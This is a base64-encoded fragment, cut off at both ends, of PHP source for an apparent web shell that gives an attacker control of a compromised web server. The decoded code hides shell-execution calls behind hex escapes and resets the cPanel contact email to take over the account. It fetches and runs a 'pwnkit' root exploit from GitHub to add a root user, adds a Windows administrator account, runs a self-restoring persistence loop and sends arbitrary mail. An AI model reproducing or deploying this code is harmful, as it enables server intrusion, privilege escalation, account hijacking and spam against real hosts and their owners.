pOwogICAgICAgIGVjaG8gJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7dXJsPT9kPScgLiBoeCgkZnVuZ3NpWzBdKCkpIC4gJyZ0ZXJtaW5hbD1yb290Ij4nOwogICAgfQp9CgppZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtYWN0aW9uJ10pKSB7CiAgICAkaXRlbXMgPSAkX1BPU1RbJ2NoZWNrJ107CiAgICBpZiAoJF9QT1NUWydnZWNrby1zZWxlY3QnXSA9PSAiZGVsZXRlIikgewogICAgICAgIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXQpIHsKICAgICAgICAgICAgJHJlcGwgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRmdW5nc2lbMF0oKSk7IC8vIFVudHVrIFdpbmRvd3MgUGF0aAogICAgICAgICAgICAkZmQgPSAkcmVwbCAuICIvIiAuICRpdDsKICAgICAgICAgICAgaWYgKGlzX2RpcigkZmQpIHx8IGlzX2ZpbGUoJGZkKSkgewogICAgICAgICAgICAgICAgJHJtZGlyID0gdW5saW5rRGlyKCRmZCk7CiAgICAgICAgICAgICAgICAkcm1maWxlID0gJGZ1bmdzaVsyNF0oJGZkKTsKICAgICAgICAgICAgICAgIGlmICgkcm1kaXIgfHwgJHJtZmlsZSkgewogICAgICAgICAgICAgICAgICAgIHN1Y2Nlc3MoKTsKICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoJHJtZGlyICYmICRybWZpbGUpIHsKICAgICAgICAgICAgICAgICAgICBzdWNjZXNzKCk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGZhaWxlZCgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLXNlbGVjdCddID09ICd1bnppcCcpIHsKICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0KSB7CiAgICAgICAgICAgICRyZXBsID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkZnVuZ3NpWzBdKCkpOyAvLyBVbnR1ayBXaW5kb3dzIFBhdGgKICAgICAgICAgICAgJGZkID0gJHJlcGwgLiAiLyIgLiAkaXQ7CiAgICAgICAgICAgIGlmIChFeHRyYWN0QXJjaGl2ZSgkZmQsICRyZXBsIC4gJy8nKSA9PSB0cnVlKSB7CiAgICAgICAgICAgICAgICBzdWNjZXNzKCk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1zZWxlY3QnXSA9PSAnemlwJykgewogICAgICAgIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXQpIHsKICAgICAgICAgICAgJHJlcGwgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRmdW5nc2lbMF0oKSk7IC8vIFVudHVrIFdpbmRvd3MgUGF0aAogICAgICAgICAgICAkZmQgPSAkcmVwbCAuICIvIiAuICRpdDsKICAgICAgICAgICAgaWYgKCRmdW5nc2lbM10oJGZkKSkgewogICAgICAgICAgICAgICAgY29tcHJlc3NUb1ppcCgkZmQsIHBhdGhpbmZvKCRmZCwgUEFUSElORk9fRklMRU5BTUUpIC4gIi56aXAiKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQoKaWYgKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7CiAgICBpZiAoJF9QT1NUWydyZXNldGNwJ10gPT0gdHJ1ZSkgewogICAgICAgICRlbWFpbENwID0gJF9QT1NUWydyZXNldGNwJ107CiAgICAgICAgJHBhdGgwY3AgPSBkaXJuYW1lKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pOwogICAgICAgICRwYXRoY3AgPSAkcGF0aDBjcCAuICIvLmNwYW5lbC9jb250YWN0aW5mbyI7CiAgICAgICAgJGNvbnRhY3RpbmZvID0gJwoiZW1haWwiIDogIicgLiAkZW1haWxDcCAuICciCiAgICAgICAgJzsKICAgICAgICBpZiAoJGZ1bmdzaVszXSgkcGF0aGNwKSkgewogICAgICAgICAgICAkZnVuZ3NpWzI4XSgkcGF0aGNwLCAkY29udGFjdGluZm8pOwogICAgICAgICAgICBlY2hvICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0nIC4gJF9TRVJWRVJbJ1JFUVVFU1RfU0NIRU1FJ10gLiAnOi8vJyAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJzoyMDgzL3Jlc2V0cGFzcz9zdGFydD0xIj4nOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZhaWxlZCgpOwogICAgICAgIH0KICAgIH0KICAgIGlmICgkX1BPU1RbJ2NyZWF0ZV9mb2xkZXInXSA9PSB0cnVlKSB7CiAgICAgICAgJE5hbWFGb2xkZXIgPSAkZnVuZ3NpWzEyXSgkX1BPU1RbJ2NyZWF0ZV9mb2xkZXInXSk7CiAgICAgICAgaWYgKCROYW1hRm9sZGVyKSB7CiAgICAgICAgICAgIHN1Y2Nlc3MoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnY3JlYXRlX2ZpbGUnXSA9PSB0cnVlKSB7CiAgICAgICAgJG5hbWFGaWxlID0gJGZ1bmdzaVsxM10oJF9QT1NUWydjcmVhdGVfZmlsZSddKTsKICAgICAgICBpZiAoJG5hbWFGaWxlKSB7CiAgICAgICAgICAgIHN1Y2Nlc3MoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsncmVuYW1lRmlsZSddID09IHRydWUpIHsKICAgICAgICAkcmVuYW1lRmlsZSA9ICRmdW5nc2lbMTVdKHVueCgkX0dFVFsncmUnXSksICRfUE9TVFsncmVuYW1lRmlsZSddKTsKICAgICAgICBpZiAoJHJlbmFtZUZpbGUpIHsKICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZhaWxlZCgpOwogICAgICAgIH0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydjaEZpbGUnXSkgewogICAgICAgICRjaEZpbGVzID0gJGZ1bmdzaVszMF0odW54KCRfR0VUWydjaCddKSwgJF9QT1NUWydjaEZpbGUnXSk7CiAgICAgICAgaWYgKCRjaEZpbGVzKSB7CiAgICAgICAgICAgIHN1Y2Nlc3MoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgaWYgKGlzc2V0KCRfUE9TVFsnYWRkLXVzZXJuYW1lJ10pICYmIGlzc2V0KCRfUE9TVFsnYWRkLXBhc3N3b3JkJ10pKSB7CiAgICAgICAgaWYgKCEkZnVuZ3NpWzNdKCdwd25raXQnKSkgewogICAgICAgICAgICBjbWQoJ3dnZXQgaHR0cHM6Ly9naXRodWIuY29tL01hZEV4cGxvaXRzL1ByaXZlbGVnZS1lc2NhbGF0aW9uL3Jhdy9tYWluL3B3bmtpdCAtTyBwd25raXQnKTsKICAgICAgICAgICAgY21kKCdjaG1vZCAreCBwd25raXQnKTsKICAgICAgICAgICAgY21kKCcuL3B3bmtpdCAiaWQiID4gLm1hZC1yb290Jyk7CiAgICAgICAgICAgIGVjaG8gJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7dXJsPT9kPScgLiBoeCgkZnVuZ3NpWzBdKCkpIC4gJyZyb290aW5nPVRydWUiPic7CiAgICAgICAgfSBlbHNlIGlmICgkZnVuZ3NpWzNdKCcubWFkLXJvb3QnKSkgewogICAgICAgICAgICAkcmVzcG9uc2UgPSAkZnVuZ3NpWzExXSgnLm1hZC1yb290Jyk7CiAgICAgICAgICAgICRyX3RleHQgPSBleHBsb2RlKCIgIiwgJHJlc3BvbnNlKTsKICAgICAgICAgICAgaWYgKCRyX3RleHRbMF0gPT0gInVpZD0wKHJvb3QpIikgewogICAgICAgICAgICAgICAgJHVzZXJuYW1lID0gJF9QT1NUWydhZGQtdXNlcm5hbWUnXTsKICAgICAgICAgICAgICAgICRwYXNzd29yZCA9ICRfUE9TVFsnYWRkLXBhc3N3b3JkJ107CiAgICAgICAgICAgICAgICBjbWQoJy4vcHdua2l0ICJ1c2VyYWRkICcgLiAkdXNlcm5hbWUgLiAnIDsgZWNobyAtZSAiJyAuICRwYXNzd29yZCAuICdcbicgLiAkcGFzc3dvcmQgLiAnIiB8IHBhc3N3ZCAnIC4gJHVzZXJuYW1lIC4gJyInKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7dXJsPT9kPScgLiBoeCgkZnVuZ3NpWzBdKCkpIC4gJyZhZGR1c2VyPWZhaWxlZCI+JzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydsb2NrZmlsZSddID09IHRydWUpIHsKICAgICAgICAkZmxlc05hbWUgPSAkX1BPU1RbJ2xvY2tmaWxlJ107CiAgICAgICAgJFRtcE5hbWVzID0gJGZ1bmdzaVszMV0oKTsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiAkZnVuZ3NpWzMzXSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLWhhbmRsZXInKSkgJiYgZmlsZV9leGlzdHMoJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQnKSkgewogICAgICAgICAgICBjbWQoJ3JtIC1yZiAnIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiAkZnVuZ3NpWzMzXSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQtZmlsZScpKTsKICAgICAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gJGZ1bmdzaVszM10oJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy1oYW5kbGVyJykpOwogICAgICAgIH0KICAgICAgICBta2RpcigkVG1wTmFtZXMgLiAiLy5zZXNzaW9ucyIpOwogICAgICAgIGNtZCgiY3AgJGZsZXNOYW1lICIgLiAkVG1wTmFtZXMgLiAiLy5zZXNzaW9ucy8uIiAuICRmdW5nc2lbMzNdKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctdGV4dC1maWxlJykpOwogICAgICAgIGNtZCgiY2htb2QgNDQ0ICIgLiAkZmxlc05hbWUpOwogICAgICAgICRoYW5kbGVyID0gJwo8P3BocApAaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwgMCk7CndoaWxlIChUcnVlKXsKICAgIGlmICghZmlsZV9leGlzdHMoIicgLiAkZnVuZ3NpWzBdKCkgLiAnIikpewogICAgICAgIG1rZGlyKCInIC4gJGZ1bmdzaVswXSgpIC4gJyIpOwogICAgfQogICAgaWYgKCFmaWxlX2V4aXN0cygiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRmbGVzTmFtZSAuICciKSl7CiAgICAgICAgJHRleHQgPSAnIC4gJGZ1bmdzaVszM10gLiAnKGZpbGVfZ2V0X2NvbnRlbnRzKCInIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiAkZnVuZ3NpWzMzXSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQtZmlsZScpIC4gJyIpKTsKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRmbGVzTmFtZSAuICciLCAnIC4gJGZ1bmdzaVszMl0gLiAnKCR0ZXh0KSk7CiAgICB9CiAgICBpZiAoZ2Vja29fcGVybSgiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRmbGVzTmFtZSAuICciKSAhPSAwNDQ0KXsKICAgICAgICBjaG1vZCgiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRmbGVzTmFtZSAuICciLCAwNDQ0KTsKICAgIH0gCiAgICBpZiAoZ2Vja29fcGVybSgiJyAuICRmdW5nc2lbMF0oKSAuICciKSAhPSAwNTU1KXsKICAgICAgICBjaG1vZCgiJyAuICRmdW5nc2lbMF0oKSAuICciLCAwNTU1KTsKICAgIH0KfQoKZnVuY3Rpb24gZ2Vja29fcGVybSgkZmxlbmFtZSl7CiAgICByZXR1cm4gc3Vic3RyKHNwcmludGYoIiVvIiwgZmlsZXBlcm1zKCRmbGVuYW1lKSksIC00KTsKfQonOwogICAgICAgICRobmRsZXJzID0gJGZ1bmdzaVsyOF0oJFRtcE5hbWVzIC4gIi8uc2Vzc2lvbnMvLiIgLiAkZnVuZ3NpWzMzXSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLWhhbmRsZXInKSAuICIiLCAkaGFuZGxlcik7CiAgICAgICAgaWYgKCRobmRsZXJzKSB7CiAgICAgICAgICAgIGNtZChQSFBfQklOQVJZIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiAkZnVuZ3NpWzMzXSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLWhhbmRsZXInKSAuICcgPiAvZGV2L251bGwgMj4vZGV2L251bGwgJicpOwogICAgICAgICAgICBzdWNjZXNzKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgfQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2FkZC1yZHAnXSA9PSBUcnVlKSB7CiAgICAgICAgJHVzZXJSRFAgPSAkX1BPU1RbJ2FkZC1yZHAnXTsKICAgICAgICAkcGFzc1JEUCA9ICRfUE9TVFsnYWRkLXJkcC1wYXNzJ107CiAgICAgICAgaWYgKHN0cmlzdHIoUEhQX09TLCAiV0lOIikpIHsKICAgICAgICAgICAgJHByb2NSRFAgPSBjbWQoIm5ldCB1c2VyICIgLiAkdXNlclJEUCAuICIgIiAuICRwYXNzUkRQIC4gIiAvYWRkIik7CiAgICAgICAgICAgIGlmICgkcHJvY1JEUCkgewogICAgICAgICAgICAgICAgY21kKCJuZXQgbG9jYWxncm91cCBhZG1pbmlzdHJhdG9ycyAiIC4gJHVzZXJSRFAgLiAiIC9hZGQiKTsKICAgICAgICAgICAgICAgIHN1Y2Nlc3MoKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGZhaWxlZCgpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgfQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ21haWwtZnJvbS1zbXRwJ10gPT0gVHJ1ZSkgewogICAgICAgICRlbWFpbEZyb20gPSAkX1BPU1RbJ21haWwtZnJvbS1zbXRwJ107CiAgICAgICAgJGVtYWlsVG8gPSAkX1BPU1RbJ21haWwtdG8tc210cCddOwogICAgICAgICRlbWFpbFN1YmplY3QgPSAkX1BPU1RbJ21haWx0by1zdWJqZWN0J107CiAgICAgICAgJG1lc3NhZ2VNYWlsID0gJF9QT1NUWydtZXNzYWdlLXNtdHAnXTsKICAgICAgICAkaGVhZGVyc01haWwgPSAnRnJvbTogJyAuICRlbWFpbEZyb20gLiAnJyAuICJcclxuIiAuCiAgICAgICAgICAgICdSZXBseS1UbzogJyAuICRlbWFpbEZyb20gLiAnJyAuICJcclxuIiAuCiAgICAgICAgICAgICdYLU1haWxlcjogUEhQLycgLiBwaHB2ZXJzaW9uKCk7CiAgICAgICAgJHByb2NNYWlsU21UcCA9IG1haWwoJGVtYWlsVG8sICRlbWFpbFN1YmplY3QsICRtZXNzYWdlTWFpbCwgJGhlYWRlcnNNYWlsKTsKICAgICAgICBpZiAoJHByb2NNYWlsU21UcCkgewogICAgICAgICAgICBzdWNjZXNzKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgfQogICAgfQp9CgppZiAoJF9HRVRbJ3Jlc3BvbnNlJ10gPT0gInN1Y2Nlc3MiKSB7CiAgICBlY2hvICI8c2NyaXB0PgpTd2FsLmZpcmUoewogICAgaWNvbjogJ3N1Y2Nlc3MnLAogICAgdGl0bGU6ICdTdWNlc3NzLi4uJywKICAgIHRleHQ6ICdEb25lIFN1Y2Nlc3MhJywKICAgIGNvbmZpcm1CdXR0b25Db2xvcjogJyMyMjI0MmQnLAp9KTwvc2NyaXB0PiI7Cn0gZWxzZSBpZiAoJF9HRVRbJ3Jlc3BvbnNlJ10gPT0gImZhaWxlZCIpIHsKICAgIGVjaG8gIjxzY3JpcHQ+ClN3YWwuZmlyZSh7CiAgICBpY29uOiAnZXJyb3InLAogICAgdGl0bGU6ICdGYWlsZWQuLi4nLAogICAgdGV4dDogJ1NvbWV0aGluZyB3cm9uZyEnLAogICAgY29uZmlybUJ1dHRvbkNvbG9yOiAnIzIyMjQyZCcsCn0pCiAgICA8L3NjcmlwdD4iOwp9CgoKZnVuY3Rpb24gc3VjY2VzcygpCnsKICAgIGVjaG8gJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7dXJsPT9kPScgLiBoeCgkR0xPQkFMU1snZnVuZ3NpJ11bMF0oKSkgLiAnJnJlc3BvbnNlPXN1Y2Nlc3MiPic7Cn0KZnVuY3Rpb24gZmFpbGVkKCkKewogICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRHTE9CQUxTWydmdW5nc2knXVswXSgpKSAuICcmcmVzcG9uc2U9ZmFpbGVkIj4nOwp9CgpmdW5jdGlvbiBmb3JtYXRTaXplKCRieXRlcykKewogICAgJHR5cGVzID0gYXJyYXkoJzxzcGFuIGNsYXNzPSJmaWxlLXNpemUiPkI8L3NwYW4+JywgJzxzcGFuIGNsYXNzPSJmaWxlLXNpemUiPktCPC9zcGFuPicsICc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5NQjwvc3Bhbj4nLCAnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+R0I8L3NwYW4+JywgJzxzcGFuIGNsYXNzPSJmaWxlLXNpemUiPlRCPC9zcGFuPicpOwogICAgZm9yICgkaSA9IDA7ICRieXRlcyA+PSAxMDI0ICYmICRpIDwgKGNvdW50KCR0eXBlcykgLSAxKTsgJGJ5dGVzIC89IDEwMjQsICRpKyspOwogICAgcmV0dXJuIChyb3VuZCgkYnl0ZXMsIDIpIC4gIiAiIC4gJHR5cGVzWyRpXSk7Cn0KCgpmdW5jdGlvbiBoeCgkbikKewogICAgJHkgPSAnJzsKICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkbik7ICRpKyspIHsKICAgICAgICAkeSAuPSBkZWNoZXgob3JkKCRuWyRpXSkpOwogICAgfQogICAgcmV0dXJuICR5Owp9CmZ1bmN0aW9uIHVueCgkeSkKewogICAgJG4gPSAnJzsKICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkeSkgLSAxOyAkaSArPSAyKSB7CiAgICAgICAgJG4gLj0gY2hyKGhleGRlYygkeVskaV0gLiAkeVskaSArIDFdKSk7CiAgICB9CiAgICByZXR1cm4gJG47Cn0KCmZ1bmN0aW9uIHN1Z2dlc3RfZXhwbG9pdCgpCnsKICAgICR1bmFtZSA9ICRHTE9CQUxTWydmdW5nc2knXVs4XSgpOwogICAgJHhwbG9kID0gZXhwbG9kZSgiICIsICR1bmFtZSk7CiAgICAkeHBsZCA9IGV4cGxvZGUoIi0iLCAkeHBsb2RbMl0pOwogICAgJHBsID0gZXhwbG9kZSgiLiIsICR4cGxkWzBdKTsKICAgIHJldHVybiAkcGxbMF0gLiAiLiIgLiAkcGxbMV0gLiAiLiIgLiAkcGxbMl07Cn0KZnVuY3Rpb24gcygpCnsKICAgICRkMG1haW5zID0gQCRHTE9CQUxTWydmdW5nc2knXVs3XSgiL2V0Yy9uYW1lZC5jb25mIiwgZmFsc2UpOwogICAgaWYgKCEkZDBtYWlucykgewogICAgICAgICRkb20gPSAiPGZvbnQgY29sb3I9cmVkIHNpemU9MnB4PkNhbnQgUmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdPC9mb250PiI7CiAgICAgICAgJEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiOwogICAgfSBlbHNlIHsKICAgICAgICAkY291bnQgPSAwOwogICAgICAgIGZvcmVhY2ggKCRkMG1haW5zIGFzICRkMG1haW4pIHsKICAgICAgICAgICAgaWYgKEBzdHJzdHIoJGQwbWFpbiwgInpvbmUiKSkgewogICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7CiAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgaWYgKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKSB7CiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICAkY291bnQrKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkZG9tID0gIiRjb3VudCBEb21haW4iOwogICAgfQogICAgcmV0dXJuICRkb207Cn0KCmZ1bmN0aW9uIGNtZCgkaW4sICRyZSA9IGZhbHNlKQp7CiAgICAkb3V0ID0gJyc7CiAgICB0cnkgewogICAgICAgIGlmICgkcmUpICRpbiA9ICRpbiAuICIgMj4mMSI7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2NVx4NzhceDY1XHg2MyIpKSB7CiAgICAgICAgICAgIEAkR0xPQkFMU1snZnVuZ3NpJ11bMTZdKCRpbiwgJG91dCk7CiAgICAgICAgICAgICRvdXQgPSBAam9pbigiXG4iLCAkb3V0KTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDcwXHg2MVx4NzNceDczXHg3NFx4NjhceDcyXHg3NSIpKSB7CiAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgIEAkR0xPQkFMU1snZnVuZ3NpJ11bMTddKCRpbik7CiAgICAgICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDczXHg3OVx4NzNceDc0XHg2NVx4NmQiKSkgewogICAgICAgICAgICBvYl9zdGFydCgpOwogICAgICAgICAgICBAJEdMT0JBTFNbJ2Z1bmdzaSddWzE4XSgkaW4pOwogICAgICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3M1x4NjhceDY1XHg2Y1x4NmNceDVmXHg2NVx4NzhceDY1XHg2MyIpKSB7CiAgICAgICAgICAgICRvdXQgPSAkR0xPQkFMU1snZnVuZ3NpJ11bMTldKCRpbik7CiAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3MFx4NmZceDcwXHg2NVx4NmUiKSAmJiBmdW5jdGlvbl9leGlzdHMoIlx4NzBceDYzXHg2Y1x4NmZceDczXHg2NSIpKSB7CiAgICAgICAgICAgIGlmIChpc19yZXNvdXJjZSgkZiA9IEAkR0xPQkFMU1snZnVuZ3NpJ11bMjBdKCRpbiwgInIiKSkpIHsKICAgICAgICAgICAgICAgICRvdXQgPSAiIjsKICAgICAgICAgICAgICAgIHdoaWxlICghQGZlb2YoJGYpKQogICAgICAgICAgICAgICAgICAgICRvdXQgLj0gZnJlYWQoJGYsIDEwMjQpOwogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2Z1bmdzaSddWzIxXSgkZik7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDcwXHg3Mlx4NmZceDYzXHg1Zlx4NmZceDcwXHg2NVx4NmUiKSkgewogICAgICAgICAgICAkcGlwZXMgPSBhcnJheSgpOwogICAgICAgICAgICAkcHJvY2VzcyA9IEAkR0xPQkFMU1snZnVuZ3NpJ11bMjNdKCRpbiAuICcgMj4mMScsIGFycmF5KGFycmF5KCJwaXBlIiwgInciKSwgYXJyYXkoInBpcGUiLCAidyIpLCBhcnJheSgicGlwZSIsICJ3IikpLCAkcGlwZXMsIG51bGwpOwogICAgICAgICAgICAkb3V0ID0gQCRHTE9CQUxTWydmdW5nc2knXVsyMl0oJHBpcGVzWzFdKTsKICAgICAgICB9CiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgIH0KICAgIHJldHVybiAkb3V0Owp9CgoKZnVuY3Rpb24gd2lucHdkKCkKewogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJEdMT0JBTFNbJ2Z1bmdzaSddWzBdKCkpOwp9CgpmdW5jdGlvbiBjb21wcmVzc1RvWmlwKCRzb3VyY2VGaWxlLCAkemlwRmlsZW5hbWUpCnsKICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwoKICAgIGlmICgkemlwLT5vcGVuKCR6aXBGaWxlbmFtZSwgWmlwQXJjaGl2ZTo6Q1JFQVRFKSA9PT0gVFJVRSkgewogICAgICAgICR6aXAtPmFkZEZpbGUoJHNvdXJjZUZpbGUsIGJhc2VuYW1lKCRzb3VyY2VGaWxlKSk7CiAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICBzdWNjZXNzKCk7CiAgICB9IGVsc2UgewogICAgICAgIGZhaWxlZCgpOwogICAgfQp9CgpmdW5jdGlvbiByZW1vdmVfc2xhc2goJHZhbCkKewogICAgJHRleCA9IHN0cl9yZXBsYWNlKCIvIiwgIiIsICR2YWwpOwogICAgJHRleDEgPSBzdHJfcmVwbGFjZSgiOiIsICIiLCAkdGV4KTsKICAgICR0ZXgyID0gc3RyX3JlcGxhY2UoIl8iLCAiIiwgJHRleDEpOwogICAgJHRleDMgPSBzdHJfcmVwbGFjZSgiICIsICIiLCAkdGV4Mik7CiAgICAkdGV4NCA9IHN0cl9yZXBsYWNlKCIuIiwgIiIsICR0ZXgzKTsKICAgIHJldHVybiAkdGV4NDsKfQoKZnVuY3Rpb24gdW5saW5rRGlyKCRkaXIpCnsKICAgICRkaXJzID0gYXJyYXkoJGRpcik7CiAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgZm9yICgkaSA9IDA7OyAkaSsrKSB7CiAgICAgICAgaWYgKGlzc2V0KCRkaXJzWyRpXSkpCiAgICAgICAgICAgICRkaXIgPSAgJGRpcnNbJGldOwogICAgICAgIGVsc2UKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGlmICgkb3BlbkRpciA9IG9wZW5kaXIoJGRpcikpIHsKICAgICAgICAgICAgd2hpbGUgKCRyZWFkRGlyID0gQHJlYWRkaXIoJG9wZW5EaXIpKSB7CiAgICAgICAgICAgICAgICBpZiAoJHJlYWREaXIgIT0gIi4iICYmICRyZWFkRGlyICE9ICIuLiIpIHsKCiAgICAgICAgICAgICAgICAgICAgaWYgKCRHTE9CQUxTWydmdW5nc2knXVsyXSgkZGlyIC4gIi8iIC4gJHJlYWREaXIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRkaXJzW10gPSAkZGlyIC4gIi8iIC4gJHJlYWREaXI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpciAuICIvIiAuICRyZWFkRGlyOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCgoKICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewogICAgICAgICRHTE9CQUxTWydmdW5nc2knXVsyNF0oJGZpbGUpOwogICAgfQogICAgJGRpcnMgPSBhcnJheV9yZXZlcnNlKCRkaXJzKTsKICAgIGZvcmVhY2ggKCRkaXJzIGFzICRkaXIpIHsKICAgICAgICAkR0xPQkFMU1snZnVuZ3NpJ11bMjVdKCRkaXIpOwogICAgfQp9CgpmdW5jdGlvbiByZW1vdmVfZG90KCRmaWxlKQp7CiAgICAkRklMRVMgPSAkZmlsZTsKICAgICRwY2ggPSBleHBsb2RlKCIuIiwgJEZJTEVTKTsKICAgIHJldHVybiAkcGNoWzBdOwp9CgoKZnVuY3Rpb24gd2luZG93c0RyaXZlcigpCnsKICAgICR3aW5BcnIgPSBbCiAgICAgICAgJ0EnLCAnQicsICdDJywgJ0QnLCAnRScsICdGJywgJ0cnLCAnSCcsICdJJywgJ0onLCAnSycsICdMJywgJ00nLCAnTicsICdPJywgJ1AnLCAnUScsICdSJywgJ1MnLCAnVCcsIC